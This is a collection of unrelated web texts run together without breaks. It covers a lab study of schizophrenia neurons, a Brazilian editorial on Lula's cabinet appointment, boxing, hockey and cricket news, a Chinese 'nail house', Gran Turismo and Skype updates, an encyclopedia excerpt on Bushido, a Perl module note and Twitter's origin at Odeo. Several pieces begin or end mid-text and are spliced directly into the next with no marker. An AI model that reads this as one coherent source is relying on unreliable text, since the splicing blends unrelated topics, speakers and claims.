Interestingly, they found that growing the nerve cells with loxapine, a drug sometimes used to treat schizophrenia, had a dramatic effect on the neural connectivity, increasing it to 80 per cent of normal levels.
Gage and his team then looked at the genes expressed in the schizophrenic neurons and found that amazingly almost 600 genes were being expressed to a greater or lesser extent than normal. About a quarter of these genes are already implicated in schizophrenia from post mortem and blood studies. Some of the other 450 genes are likely to be involved too.
Individualised treatments
Gage envisages that one of the future uses of his laboratory neurons may be to help patients discover what drug will be best for them. "Most psychiatric patients may try many drugs before they find one that works", he says. "This may circumvent that process by enabling individualised treatments with the best drug for them"
Professor Vaughan Carr, CEO of the Schizophrenia Research Institute in Australia welcomes the work. But he points out that it is early days yet, as the cells have come from only four patients.
"What we would hope to see as cells from more patients accumulate is a stronger signal as to which genes are the most important," says Carr. "This could become a very useful technology."-Editorial-
SAO PAULO — The appointment of such a major figure as Brazil's ex-President Lula da Silva as Dilma Rousseff cabinet's chief of staff could be seen as just an expression of the government's terminal state of despair, stuck with incredibly low popularity poll numbers — and with little support in Congress to fend off the threat of Dilma's own impeachment. But there's more to it than just that.
Immediately after what had been expected for days was made official, a secretly recorded phone conversation between Dilma and Lula was leaked to the media by Sergio Moro, the federal judge who oversees the ongoing operation Lava Jato ("Car Wash"). The presidency denounced Moro's leak as illegal. But the consequences could be devastating for the government.
The words exchanged by the two Workers' Party leaders give clear indications that the reason behind Lula's ministerial nomination wasn't solely a political popularity calculation. It confirmed what the government's most passionate adversaries in the opposition had been quick to denounce as the move's main purpose: protecting Lula.
In the face of a potential imminent arrest after being charged with money laundering as part of the Petrobras corruption scandal, Lula wanted to shield himself from prosecution with the privileged status afforded by the government post. In the conversation, Dilma was assuring Lula that his appointment in the cabinet was ready and that she would send him over the papers he could use "in case of necessity."
Is it possible to understand this exchange as anything but a deal between concerned parties to escape justice?
Rousseff announcing Lula's appointment in Brasilia on March 16— Photo: Wilson Diaz/Planet Pix/ZUMA
Is the word "collusion" too strong to describe a president and an ex-president making a panicked rush to put together a desperate artifice to keep corruption from going unpunished, to paralyze the justice system, to keep the privileged above the law?
A masquerade
This time around, the pair surpassed all the cynicism, the recklessness and the provocation we'd already witnessed from the Workers' Party and those around it.
Cynicism because only a few hours before the leak, Dilma had given an interview in which she denied that Lula's nomination was intended to help him escape prosecution. It was, as a matter of fact, all about bringing in new political energies in the face of the country's financial crisis. Or so she claimed.
But that wasn't it. All elements indicate that the prepared argumentation was nothing but a masquerade, to hide what deserves to be called an attempt to obstruct the free course of justice.
It was an act of pure recklessness as well, as Dilma is still under the threat of impeachment, and her opponents now have this new scandal at their disposal to act against her mandate.
Finally, and most importantly, this move was a provocation against the people of Brazil. Just days after an unprecedented number of citizens took to the streets to protest against the government, Dilma and Lula teamed up to ignite an even more intense wave of popular indignation, this time probably irreversibly.
Last night, a crowd spontaneously gathered in front of the the Presidential Palace in Brasília. Protesters also gathered in São Paulo, and their numbers only grew when the damaging phone conversation was leaked.
It was already being said that Lula's ministerial appointment, essentially, meant the end of Dilma's government. Now that may happen sooner than we thought.BILL DWYRE Is boxing off the charts or off the radar?
Pacquiao-Marquez 4 is said to be a sellout, with a strong pay-per-view buy. However, it is competing against rodeo and 'other sports.'
The likelihood that this fight will top the previous Pacquiao-Marquez pay-per-view sell of 1.3 million adds to this considerably. That's at a price of $60 to $70, depending on whether you want to pay for high-definition.
Friday brought the announcement that MGM Grand Garden Arena is sold out. That's 16,000 seats, with a live gate that Top Rank Promotions estimates to be worth $10.6 million. That would put the average ticket price at around $660.
Fight fans hope they go toe-to-toe. That would be fitting, because everything else in their sport seems to be doing the same.
The financials show a picture of a sport with rosy cheeks.
But then, about the same time as the sellout announcement, a Purdue professor with a background of credibility in documenting the sport released a statement that said it will take more than a great Pacquiao-Marquez fight to pick boxing, as a whole, off the canvas.
"Boxing is no longer on this country's radar," said Randy Roberts, author of four books on the sport. "It often gets buried on top American websites under 'Other Sports.' "
This huge boxing show, the type that dominates all corners of the MGM, is sharing the stage this week with the rodeo. Cowboy boots and cowboy hats decidedly outnumber sombreros and tattoos. The piped-in sounds that usually fill the halls with rock and rap are singing from a different saddle this week.
"I want you to love me like my dog does, baby; When I get home, I want you to just go crazy.… He don't play dead when I want to pet him."
—Billy Currington
This will be the fourth Pacquiao-Marquez fight. That in itself is confusing. They have fought 36 rounds and nobody still seems to know who is the better fighter. It remains too close to call. It also remains open to question, after all this time, how many actually care. A sold-out live gate and the big projected pay-per-view buy says there are many.
If you take the judges' word for it, Pacquiao has the slight edge. He knocked Marquez down three times in the first round in their first fight and the sharp pencils at ringside called it a draw — one for Pacquiao, the other for Marquez and the third dead even. Then Pacquiao won the second and third meetings in close decisions and Marquez dominated the aftermath with his whining about being robbed.
The new wrinkle in the ever-present yapping leading up to Pacquiao-Marquez 4 is the performance-enhancing-drug issue. Sadly now in sports, PED is an acronym as common as RBI. It is the era of being guilty until proven innocent. For that cynicism, we can thank Barry Bonds, Marion Jones and Lance Armstrong, among others.
Boxing has thrown its hat in the steroid ring of late too. It talks pharmaceuticals as much as punches. And, interestingly, the finger-pointing is coming this time from the Pacquiao camp.
Floyd Mayweather Jr., never one to let facts get in the way of a rant, has accused Pacquiao of being a doper, saying the Filipino got bigger and looked stronger as he fought in heavier weight categories. Pacquiao sued for slander. Mayweather ducked depositions for a year or so. Then, a few months ago, the judge ruled and Mayweather delivered a $3-million check to Pacquiao.China Daily via Reuters A car stops beside a house in the middle of a newly built road in Wenling, China, on Thursday. Two couples have refused to agree to allow their homes to be demolished.
BEIJING – In the “there today, gone tomorrow” world of Chinese construction, entire communities can often disappear and be replaced by high rises or other public works in a matter of weeks or months without any sign of its past residents.
Not so for the drivers on this new road in China’s eastern province of Zhejiang.
Municipal officials in Wenling had been planning a new access road that would lead to a new railway station just outside the city.To make way for the road though, city planners decided they would have to tear down a section of homes in the nearby village of Xiazhangyang that were in its path.
Through methods that range at times from fair compensation all the way down to cajoling, intimidation, beatings and forced evictions, local governments tend to get their way when they have their hearts set on projects.
However, every once in a while, even after the majority of landowners in an area are persuaded to give up their property, one or two steely owners will stand their ground either on principle or determination to squeeze out more compensation from the government.
These lone homes that stand in the way of progress have been nicknamed “nail houses,” on account of the difficulty in prying them out of the earth.
In this case, two families who occupy this five-story building have refused to hand over their property, arguing that the compensation being offered by city officials was insufficient.
One of the residents, Zhang Ling, 46, told the U.K’s Mirror newspaper: “They didn’t offer us enough compensation to leave, so we’re staying.”
More China coverage on NBC's Behind the Wall blog
The financial motivations for these nail house owners to hold out are understandable: Real estate prices in China have skyrocketed in recent years due in no small part to inflation and a lack of other financial vehicles for Chinese to invest their money here on the mainland.
Insufficient compensation from local officials then would make it extremely difficult for homeowners to buy new properties in the areas they live in now, much less closer to the cities that have swallowed up their homes.
Perhaps wary of looking like they are bullying residents, Wenling officials have gone to the building owners with offers, but have been roundly rejected each time. Nevertheless, in a sign of the times here, the government went ahead with the road, simply building around the dilapidated structure.
The road has yet to be officially opened, but homeowner Zhang seemed optimistic about his plight.
“It could be a great opportunity for us,” Zhang told the Mirror. “We could open up a drive-though shop on the ground floor.”Posted by
Jon Eden,
August 12, 2014 Email
John Eden
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At the end of the 2012/13 season, after a 28-year long absence from Germany’s top flight, Randy Edwini-Bonsu’s club Eintracht Braunschweig were finally promoted to the Bundesliga. But let us go back one more year. Obviously Randy Edwini-Bonsu had been excited to play for one of those special few clubs in Germany that is traditionally seen by the fans to possess a great amount of passion and history. In addition, it was a real accomplishment for him to jump from the first Finnish league right into Germany’s 2.Bundesliga. Throw into the mix the fact that this club finished second, right after Germany’s capital club Hertha BSC Berlin, which meant automatic promotion; it would have been easy to conclude from afar that everything is going to plan for this young Canadian. But as so often in life, and in the soccer world, the beauty was only skin deep. Randy Edwini-Bonsu only played eight games for the first string team that had managed to secure promotion in the Bundesliga for the first time in almost 3 decades. In those eight games in Germany’s second division, he scored and assisted no goals at all. To be fair, those 8 games were only 134 minutes. Nevertheless, he had been given a chance, albeit small, and he hadn’t been able to take advantage of it. He played more minutes (but less games) for the U23 side of Eintracht Braunschweig, who at the time played in one of Germany’s many regional 5th divisions. Edwini-Bonsu managed to assist a goal, but overall his performance data simply wasn’t good enough. It must have been a crushing experience for youngster, whose dream it was to play in a top division in Europe. It was not a big surprise that Eintracht Braunschweig decided to release him. Ironically, it was even less of a surprise that he was nominated for the Canadian national team to compete in the 2013 Gold Cup. As is so often the case with our national team, it doesn’t seem to matter if you are an unattached player or if you have very few first team minutes. Nevertheless, Edwini-Bonsu could have decided to take the summer off to prioritize finding a new club or at least taking the time to sit down with his agent to discuss his future. However, unlike some of his fellow teammates, Edwini-Bonsu planned to help out his country to beat CONCACAF superpowers like Mexico, mediocre teams like Panama and minnows like Martinique instead. As most Canadian soccer fans know things didn’t turn out as planned. We ended up losing to both Martinique and Mexico, while drawing to Panama and allthewhile managing not to score a single goal in the entire tournament. It would have been very interesting to see if Edwini-Bonsu could have made a difference in Canada’s offensive firing power; but unfortunately he had suffered a very serious knee injury during the Canadian training camp in the prelude of the tournament. The real tragedy of the 2012/2013 season had not been his disappointing performance during his first year in Germany. It was in fact that this player’s willingness and sacrifice to represent the Canadian Men’s National Team at North America’s main soccer tournament did not pay off. Due to his serious knee injury, he did not find a club that was willing to take a gamble on him at the start of the season. Instead of giving up, Edwini-Bonsu took some personal time, disappeared from social media, and most importantly had successful knee surgery. He finished his deserved break from the game and everything distracting around it, just in time to go on trials at Germany’s 3rd division side Stuttgarter Kickers in early 2014. This team from Southern Germany went out of their way to sign this young Canadian, who had shown so much potential, and speed, previously. During the second half of the 2013/2014 season the Stuttgarter Kickers celebrated a turnaround after a pretty bad first half and Edwini-Bonsu finally found the back of the net (twice) and even assisted one.
Stuttgarter Kickers have shown much faith in the young player, who deserves to be treated with a lot of respect due to his sacrifices for Canadian soccer, and arguably for his fashion sense, that they extended his contract for at least another year. The third division in Germany has already started and Edwini-Bonsu, who has featured in all of their four games, has already scored a goal, resulting in his team sitting comfortably among the Top 6 teams of the table. Very soon Randy Edwini-Bonsu is expected to be in the squad for Stuttgarter Kickers’ first round match of the German Cup (DFB-Pokal).
He has played in a German cup match once before with his former team Eintracht Braunschweig, who were relegated in last place, after just one year in the Bundesliga and who also released another Canadian in last year’s winter break under less than favourable circumstances by the name of Simeon Jackson. In his first ever match in the competition his former teammates and himself played vs. VfB Lübeck and won, but to be fair that’s a place that is only famous for marzipan and not exactly a soccer town. This Saturday, August 16th, at 9:30AM EST, his current team, the proud Stuttgarter Kickers, take on mighty Borussia Dortmund at home. This is the same team that reached the 2013 Champions League final, during Edwini-Bonsu’s forgettable year, and who now boasts plenty of world cup winners in their squad. Here is hoping that this first round Cup is a good omen and that Randy Edwini-Bonsu’s fortunes are finally turning around. Don’t miss this game.Marc Methot has played his final game as an Ottawa Senator (or at least until he tests free agency in two years).
With their pick of the exposed litter, the Vegas Golden Knights decided to pluck Methot from Canada’s capital despite Senators general manager Pierre Dorion’s best efforts to convince them otherwise.
The 32-year-old was a staple on the Senators’ blue line for the past five seasons, playing a solid, reliable defensive style of hockey while setting up shop alongside Erik Karlsson on the first pairing. He was a leader on and off the ice, a fan favourite and simply a fantastic ambassador for the city.
Surely, in so many ways, he will be missed.
So, now what?
The Senators seem to be the only organization losing a top-pairing defenseman in the expansion draft, and some have argued that, last night, they lost the most important player out of all 30 teams.
Luckily for them, it’s not all doom and gloom when assessing the damage heading into next season. Ottawa has a few favourable options to retool their D corps.
Right away, their cap situation immediately gets a hell of a lot more encouraging. Next summer, Kyle Turris, Mark Stone are going to receive hefty raises. And in two years, the best defenseman on the planet needs an extension. It, too, will not be cheap.
Losing Methot’s annual average value of $4.9 million, along with the possibility of adding a couple entry-level contracts in Colin White and Thomas Chabot next season, definitely helps Dorion and Eugene Melnyk sculpt a more promising future.
First, the top pairing needs to be addressed. With Karlsson losing his partner, and seemingly best friend, either Dorion needs to find a top-four defenseman in free agency or through trade, or Freddy Claesson could be given an opportunity to play more minutes against stiffer competition.
The latter will do.
Of his fellow defensemen, who did Karlsson have the best possession numbers with during the regular season (minimum 100 minutes)? That would be Claesson.
At even strength, Karlsson’s 46.9% Corsi For rating with Methot is much less flattering when compared with the 57.7% rating he had with Claesson. Now, these numbers are a bit misleading before you take into account that Methot had 800 more minutes than Claesson did with the Senators captain, but the two Swedes just flat out looked more comfortable together this year.
One thing Claesson gave Karlsson that Methot simply couldn’t was a viable D-to-D option in the offensive zone. The accuracy was debatable, although he did pot three more than Methot’s zero, but Claesson showed obvious smarts, creativity and quickness when given, or creating, himself, an offensive opportunity. In 33 games, his 1.34 points per 60 at 5-on-5 only had him behind Karlsson (1.45) on the backend.
At the other end, Claesson took gigantic strides in his coverage, aggression, 1-on-1 battles and overall confidence with the puck during a breakout scenario. It was night and day from the 2015-16 campaign.
He earned himself a one-way extension, and he’s ready to take on added responsibility and pressure. He more than proved that in 14 playoff games this year.
Moving our way down the order, it’s long overdue that the tandem of Cody Ceci and Dion Phaneuf be split up. And if the postseason is any determination, it’s that Phaneuf deserves to stay put on the second pairing and Ceci should play more sheltered minutes on the bottom duo.
Depending on how his summer goes and what he brings to the table at training camp, why not try the aforementioned Chabot on Phaneuf’s left? In the CHL and at the World Juniors this season, Chabot showed the hockey world he’s likely the best defenseman not playing in the NHL right now. Phaneuf has proven in the past he can play his off-side and if it isn’t working out come late October, then the Senators’ depth on defense, with regards to Ben Harpur and Chris Wideman, can fill in the void.
It feels like next year will be the first time in three seasons that Mark Borowiecki spends his fair share of time in the press box.
***
Methot’s strong defensive play may be something the Senators yearn for in the early stages of the 2017-18 campaign, but what might have the biggest negative impact on the team is his absence in the room.
Bearing witness to the overwhelming success Ottawa boasted into late May, and the way they achieved it, it’s rather difficult not to attribute a great deal of their triumph to the cohesion the group had constructed in nine months.
They turned out to be a far cry from Dave Cameron’s previous squad, and it felt like the switch had been flipped almost immediately as the new crew reached its final assembly in early October.
Whether it was halfway through the season, during the playoffs or on locker clean out day, the players couldn’t stop talking about the family they’d become and how much they would miss their teammates, knowing expansion was coming and the inevitable changes any offseason brings.
With Chris Neil looking to test free agency, Chris Kelly possibly on his way out and now Vegas stealing Methot, it’s fair to say the Senators might be a better team on paper in 2018, but it’s got to be a bit troubling knowing how much they relied on intangibles to create a quality team structure and buy-in mentality. Their consistency throughout the year was always credited to the character and perseverance they possessed, and it’s hard not to believe that those two elements didn’t largely come into play with the hardships the team faced in many different forms.
Though he rarely wore a letter on his chest, Methot’s spot in the middle of the room and the obvious positive relationships he shared with the team aren’t going to be easily replaced. Maybe the best option is to promote within when it comes to the defense.
After a season like 2016-17, it’s hard not to wonder if the team will ever be that close again.Gran Turismo Sport may not be the full-on sequel fans of the series are hoping for, but it will features things like weather and damage, despite being absent from a recent demonstration of the game.
Franchise boss Kazunori Yamauchi confirmed that both of those will be present in Sport in a new interview with Game Watch (via DualShockers). He said developer Polyphony has already been working on a damage system for Sport, but that it wasn't available in the version of the game used at this week's reveal event in London. That explains why the brief tournament played following the game's reveal didn't see any of the cars getting smashed up.
Likewise, weather is also planned for Sport, though Yamauchi indicated there are plans to stray away from a dynamic system in favor of offering weather conditions as a pre-match option.
He also identified 1080p and 60 FPS as Polyphony's targets for the game while admitting there are currently some frame rate issues in the current, unfinished version of Sport. As is to be expected, he didn't address the prospect of an improved version of the game for the enhanced version of PS4 that's rumored to be on the way.
Sport marks the Gran Turismo series' debut on PS4. Originally announced late last year, we finally learned some hard details this week. It'll include more than 130 cars and support for online and offline play, though its scope is more limited than the standard numbered releases. The planned beta is no longer happening, as Polyphony would prefer to spend its time focusing on Sport's launch this November. Sony also this week revealed details of a collector's edition and what kind of bonuses you'll receive for preordering.Microsoft is testing out its new Skype mobile interface in a desktop preview of the company’s communication app. The new radical Skype mobile design debuted back in June, and the reception hasn’t been positive. Despite that, Microsoft wants to try out a new design on the desktop side. “It’s not yet complete and we need your feedback,” says a Skype spokesperson.
The new Skype Preview is designed to take advantage of the larger screen space on a desktop PC, and Microsoft has tweaked group chats to make it easier to share photos or screen sharing during calls. There’s even the new @ mentions, message reactions, and a notification panel to check for mentions and reactions in conversations. If you’re looking for shared links, documents, or photos in a conversation then Microsoft has also added a gallery to make those easier to locate.
If you’re using the Skype Preview app on Windows desktops (not the new Store app) then these changes will start showing up today, or you can download the test app here. Microsoft doesn’t appear to be testing these new changes for its Skype Windows 10 Store app just yet. For everyone else, Microsoft will start rolling this out more broadly in the coming months once feedback is complete and the preview is finished.
Update, 11:55AM ET: Article updated to note this is a desktop app update, not a Windows 10 Store app. |
known as the Genpei War.[12] Clearly depicted throughout the epic is the ideal of the cultivated warrior.[13] The warriors in the Heike Monogatari served as role models for the educated warriors of later generations, although the ideals depicted by them were assumed to be beyond reach.[citation needed] Nevertheless, during the early modern era, these ideals were vigorously pursued in the upper echelons of warrior society and recommended as the proper form of the Japanese man of arms.[citation needed] The influence of Shinto, Buddhism, Taoism, and Confucianism in the Bushido's early development instilled among those who live by the code a religious respect for it. Yamaga-Soko, the Japanese philosopher given credit for establishing Bushido, said that "the first and surest means to enter into communion with the Divine is by sincerity."[1]
The sayings of Sengoku-period retainers and warlords such as Katō Kiyomasa and Nabeshima Naoshige were generally recorded or passed down to posterity around the turn of the 16th century when Japan had entered a period of relative peace. In a handbook addressed to "all samurai, regardless of rank", Katō states:
"If a man does not investigate into the matter of bushidō daily, it will be difficult for him to die a brave and manly death.[ citation needed ] Thus, it is essential to engrave this business of the warrior into one's mind well."[ citation needed ]
Katō was a ferocious warrior who banned even recitation of poetry, stating:
"One should put forth great effort in matters of learning. One should read books concerning military matters, and direct his attention exclusively to the virtues of loyalty and filial piety....Having been born into the house of a warrior, one's intentions should be to grasp the long and the short swords and to die."[14][ clarification needed ]
Naoshige says similarly, that it is shameful for any man to die without having risked his life in battle, regardless of rank, and that "bushidō is in being crazy to die. Fifty or more could not kill one such a man". However, Naoshige also suggests that "everyone should personally know exertion as it is known in the lower classes".[14]
17th to 19th centuries [ edit ]
Japan enjoyed a period of relative peace from 1600 to the mid-19th century. During this period, the samurai class played a central role in the policing and administration of the country.[citation needed] The bushidō literature of this time contains much thought relevant to a warrior class seeking more general application of martial principles and experience in peacetime, as well as reflection on the land's long history of war.[citation needed] The literature of this time includes:
The Hagakure contains many sayings attributed to Sengoku-period retainer Nabeshima Naoshige (1537–1619) regarding bushidō related philosophy early in the 18th century by Yamamoto Tsunetomo (1659–1719), a former retainer to Naoshige's grandson, Nabeshima Mitsushige. The Hagakure was compiled in the early 18th century, but was kept as a kind of "secret teaching" of the Nabeshima clan until the end of the Tokugawa bakufu (1867).[15] His saying, "I have found the way of the warrior is death", was a summation of the focus on honour and reputation over all else that bushidō codified.[16]
Tokugawa-era rōnin, scholar and strategist Yamaga Sokō (1622–1685) wrote extensively on matters relating to bushidō, bukyō (a "warrior's creed"), and a more general shidō, a "way of gentlemen" intended for application to all stations of society. Sokō attempts to codify a kind of "universal bushidō" with a special emphasis on "pure" Confucian values, (rejecting the mystical influences of Tao and Buddhism in Neo-Confucian orthodoxy), while at the same time calling for recognition of the singular and divine nature of Japan and Japanese culture. These radical concepts—including ultimate devotion to the Emperor, regardless of rank or clan—put him at odds with the reigning shogunate. He was exiled to the Akō domain, (the future setting of the 47 Rōnin incident), and his works were not widely read until the rise of nationalism in the early 20th century.[citation needed]
The aging Yamamoto Tsunetomo's interpretation of bushidō is perhaps more illustrative of the philosophy refined by his unique station and experience, at once dutiful and defiant, ultimately incompatible with the laws of an emerging civil society. Of the 47 rōnin—to this day, generally regarded as exemplars of bushidō—Tsunetomo felt they were remiss in hatching such a wily, delayed plot for revenge, and had been over-concerned with the success of their undertaking. Instead, Tsunetomo felt true samurai should act without hesitation to fulfill their duties, without regard for success or failure.[citation needed]
This romantic sentiment is of course expressed by warriors throughout history, though it may run counter to the art of war itself. This ambivalence is found in the heart of bushidō, and perhaps all such "warrior codes". Some combination of traditional bushidō's organic contradictions and more "universal" or "progressive" formulations (like those of Yamaga Sokō) would inform Japan's disastrous military ambitions in the 20th century.[citation needed]
19th to 21st centuries [ edit ]
Recent scholarship in both Japan and abroad has focused on differences between the samurai caste and the bushidō theories that developed in modern Japan. Bushidō in the prewar period was often emperor-centered and placed much greater value on the virtues of loyalty and self-sacrifice than did many Tokugawa-era interpretations.[17] Bushidō was used as a propaganda tool by the government and military, who doctored it to suit their needs.[18] Scholars of Japanese history agree that the bushidō that spread throughout modern Japan was not simply a continuation of earlier traditions.
More recently, it has been argued that modern bushidō discourse originated in the 1880s as a response to foreign stimuli, such as the English concept of "gentlemanship", by Japanese with considerable exposure to Western culture. Nitobe Inazo's bushidō interpretations followed a similar trajectory, although he was following earlier trends. This relatively pacifistic bushidō was then hijacked and adapted by militarists and the government from the early 1900s onward as nationalism increased around the time of the Russo-Japanese War.[19]
The junshi suicide of General Nogi Maresuke and his wife on the death of Emperor Meiji occasioned both praise, as an example to the decaying morals of Japan, and criticism, explicitly declaring that the spirit of bushidō thus exemplified should not be revived.[20]
During pre-World War II and World War II Shōwa Japan, bushido was pressed into use for militarism,[21] to present war as purifying, and death a duty.[22] This was presented as revitalizing traditional values and "transcending the modern".[23] Bushidō would provide a spiritual shield to let soldiers fight to the end.[24] As the war turned, the spirit of bushidō was invoked to urge that all depended on the firm and united soul of the nation.[25] When the Battle of Attu was lost, attempts were made to make the more than two thousand Japanese deaths an inspirational epic for the fighting spirit of the nation.[26] Arguments that the plans for the Battle of Leyte Gulf, involving all Japanese ships, would expose Japan to serious danger if they failed, were countered with the plea that the Navy be permitted to "bloom as flowers of death".[27] The first proposals of organized suicide attacks met resistance because although bushidō called for a warrior to be always aware of death, they were not to view it as the sole end. Nonetheless, the desperate straits brought about acceptance[28] and such attacks were acclaimed as the true spirit of bushidō.[29]
As Japan continued its modernization in the early 20th century, her armed forces became convinced that success in battle would be assured if Japanese soldiers, sailors, and airmen had the “spirit” of Bushido.... The result was that the Bushido code of behavior “was inculcated into the Japanese soldier as part of his basic training.” Each soldier was indoctrinated to accept that it was the greatest honor to die for the Emperor and it was cowardly to surrender to the enemy.... Bushido therefore explains why the Japanese in the NEI so mistreated POWs in their custody. Those who had surrendered to the Japanese—regardless of how courageously or honorably they had fought—merited nothing but contempt; they had forfeited all honor and literally deserved nothing. Consequently, when the Japanese murdered POWs by shooting, beheading, and drowning, these acts were excused since they involved the killing of men who had forfeited all rights to be treated with dignity or respect. While civilian internees were certainly in a different category from POWs, it is reasonable to think that there was a “spill-over” effect from the tenets of Bushido. Fred Borch, Military Trials of War Criminals in the Netherlands East Indies 1946-1949[30]
Japanese propaganda during the World War II claimed that prisoners of war denied being mistreated and declared that they were being well-treated by virtue of bushidō generosity.[31] Broadcast interviews with prisoners were also described as being not propaganda but out of sympathy with the enemy, such sympathy as only bushidō could inspire.[32]
Tenets [ edit ]
Bushidō expanded and formalized the earlier code of the samurai, and stressed sincerity, frugality, loyalty, mastery of martial arts, and honour to the death. Under the bushidō ideal, if a samurai failed to uphold his honor he could only regain it by performing seppuku (ritual suicide).[33]
In an excerpt from his book Samurai: The World of the Warrior,[34] historian Stephen Turnbull describes the role of seppuku in feudal Japan:
In the world of the warrior, seppuku was a deed of bravery that was admirable in a samurai who knew he was defeated, disgraced, or mortally wounded. It meant that he could end his days with his transgressions wiped away and with his reputation not merely intact but actually enhanced. The cutting of the abdomen released the samurai’s spirit in the most dramatic fashion, but it was an extremely painful and unpleasant way to die, and sometimes the samurai who was performing the act asked a loyal comrade to cut off his head at the moment of agony.
Bushidō varied dramatically over time, and across the geographic and socio-economic backgrounds of the samurai, who represented somewhere between 5% and 10% of the Japanese population.[35] The first Meiji-era census at the end of the 19th century counted 1,282,000 members of the "high samurai", allowed to ride a horse, and 492,000 members of the "low samurai", allowed to wear two swords but not to ride a horse, in a country of about 25 million.[36]
Some versions of bushidō include compassion for those of lower station, and for the preservation of one's name.[14] Early bushidō literature further enforces the requirement to conduct oneself with calmness, fairness, justice, and propriety.[14] The relationship between learning and the way of the warrior is clearly articulated, one being a natural partner to the other.[14]
Other pundits pontificating on the warrior philosophy covered methods of raising children, appearance, and grooming, but all of this may be seen as part of one's constant preparation for death—to die a good death with one's honor intact, the ultimate aim in a life lived according to bushidō. Indeed, a "good death" is its own reward, and by no means assurance of "future rewards" in the afterlife. Some samurai, though certainly not all (e.g., Amakusa Shirō), have throughout history held such aims or beliefs in disdain, or expressed the awareness that their station—as it involves killing—precludes such reward, especially in Buddhism. Japanese beliefs surrounding the samurai and the afterlife are complex and often contradictory, while the soul of a noble warrior suffering in hell or as a lingering spirit occasionally appears in Japanese art and literature, so does the idea of a warrior being reborn upon a lotus throne in paradise[37]
Eight virtues of Bushidō (as envisioned by Nitobe Inazō [ edit ]
The bushidō code is typified by eight virtues:[38]
Righteousness 義, gi)
Be acutely honest throughout your dealings with all people. Believe in justice, not from other people, but from yourself. To the true warrior, all points of view are deeply considered regarding honesty, justice and integrity. Warriors make a full commitment to their decisions.
Heroic Courage 勇, yū)
Hiding like a turtle in a shell is not living at all. A true warrior must have heroic courage. It is absolutely risky. It is living life completely, fully and wonderfully. Heroic courage is not blind. It is intelligent and strong.
Benevolence, Compassion 仁, jin)
Through intense training and hard work the true warrior becomes quick and strong. They are not as most people. They develop a power that must be used for good. They have compassion. They help their fellow men at every opportunity. If an opportunity does not arise, they go out of their way to find one.
Respect 礼, rei)
True warriors have no reason to be cruel. They do not need to prove their strength. Warriors are not only respected for their strength in battle, but also by their dealings with others. The true strength of a warrior becomes apparent during difficult times.
Honesty 誠, makoto)
When warriors say that they will perform an action, it is as good as done. Nothing will stop them from completing what they say they will do. They do not have to 'give their word'. They do not have to 'promise'. Speaking and doing are the same action.
Honour 名誉, meiyo)
Warriors have only one judge of honor and character, and this is themselves. Decisions they make and how these decisions are carried out are a reflection of who they truly are. You cannot hide from yourself.
Duty and Loyalty 忠義, chūgi)
Warriors are responsible for everything that they have done and everything that they have said and all of the consequences that follow. They are immensely loyal to all of those in their care. To everyone that they are responsible for, they remain fiercely true.
Associated virtues [ edit ]
Modern translations [ edit ]
Modern Western translation of documents related to bushidō began in the 1970s with Carl Steenstrup, who performed research into the ethical codes of famous samurai including Hōjō Sōun and Imagawa Sadayo.[39]
Primary research into bushidō was later conducted by William Scott Wilson in his 1982 text Ideals of the Samurai: Writings of Japanese Warriors. The writings span hundreds of years, family lineage, geography, social class and writing style—yet share a common set of values. Wilson's work also examined older Japanese writings unrelated to the warrior class: the Kojiki, Shoku Nihongi, the Kokin Wakashū and the Konjaku Monogatari, as well as the Chinese Classics (the Analects, the Great Learning, the Doctrine of the Mean, and the Mencius).
In May 2008, Thomas Cleary translated a collection of 22 writings on bushidō by warriors, scholars, political advisers, and educators, spanning 500 years from the 14th to the 19th centuries. Titled Training the Samurai Mind: A Bushido Sourcebook, it gave an insider's view of the samurai world: "the moral and psychological development of the warrior, the ethical standards they were meant to uphold, their training in both martial arts and strategy, and the enormous role that the traditions of Shintoism, Buddhism, Confucianism, and Taoism had in influencing samurai ideals".
Major figures associated with Bushidō [ edit ]
See also [ edit ]Smartmatching is complicated. Anyone suggesting otherwise simply hasn't used it much. Something that appears to be as simple as when @array can have 5 rather different meanings depending on the value of $_, the two most important being «each element in @$_ matches the corresponding element in @array » and « $_ matches any of @array ». This is madness. I believe there's a lot of value in being able to explicitly differentiate when list(@array) and when any(@array).
Hence Smart::Match. It's a module that does exactly that and more. Not only does it allow you to disambiguate smartmatches, it also allows you to use powerful new matches by using higher order matchers. For example it doesn't just allow you to match against string_length(4), but also string_length(even) or string_length(range(13,42)). This makes smartmatching a lot easier and saner than doing it raw.Twitter actually started out as a side-project at another startup called Odeo. Back in 2005, Odeo was supposed to become a platform for podcasters. The problem was that Apple announced podcast subscriptions in iTunes that same year.
After Apple made its announcement, Odeo CEO Evan Williams told the startup's 14 or so employees to start imagining new directions in which the company could go.
In February 2006, three Odeo employees - Jack Dorsey, Florian Weber, and Noah Glass - came up with something called Twttr, what's now known as Twitter.
By the summer of 2006, Twitter had a few thousand users but Odeo still going nowhere.
Williams, already pretty rich from having sold a company to Google years before, decided to do something drastic. He offered to buy Odeo and all its assets, including Twitter, back from from investors.
Here's what Williams wrote about Twitter in his letter to shareholders:
By the way, Twitter (http://twitter.com), which you may have read about, is one of the pieces of value that I see in Odeo, but it's much too early to tell what's there. Almost two months after launch, Twitter has less than 5,000 registered users. I will continue to invest in Twitter, but it's hard to say it justifies the venture investment Odeo certainly holds -- especially since that investment was for a different market altogether.
Buying back shares from Odeo's investors was an unprecedented move and, at the time, it was widely lauded as a generous act on William's part. Startup founders fail all the time, and they basically never pay back the investors who gave them a chance to succeed.
Five years later, of course, Williams looks like a genius and the people who sold him Odeo - and Twitter - look like they missed out.
Within a year of buying back Odeo, Williams spun Twitter out as its own company - a company now supposedly fetching billion dollar offers from Google and Facebook.
Our question is: How do Odeo's original investors feel about this twist of fate?
Depressed?
Happy for Ev?
Conned by how much he downplayed Twitter in that letter?
We asked them.Shane Watson captained Australia in the fourth Test in India © BCCI
Shane Watson has stood down as Australia's vice-captain across all formats three months out from the Ashes, declaring that he wants to focus his attention on his own performance. Watson's role as Michael Clarke's deputy was the subject of significant public debate during the recent Test tour to India when he was one of four players suspended for a match for failing to complete a task set by the coach Mickey Arthur.
Later the same day, Watson flew to Sydney for the birth of his first child and while checking out of the team hotel said he would use his time at home to weigh up his cricketing future. However, a few days later Watson committed himself to the team in the long term and rejoined the squad in Delhi, where he captained Australia in the fourth Test when Clarke was unavailable due to his back injury.
But during that match, Watson's disappointing run of batting form continued and he finished the tour with 99 runs at an average of 16.50, a miserable return given that he had chosen to embark on the trip as a batsman only. Watson has not scored a Test century since October 2010 and since becoming vice-captain in 2011 he has managed only 627 Test runs at 24.11.
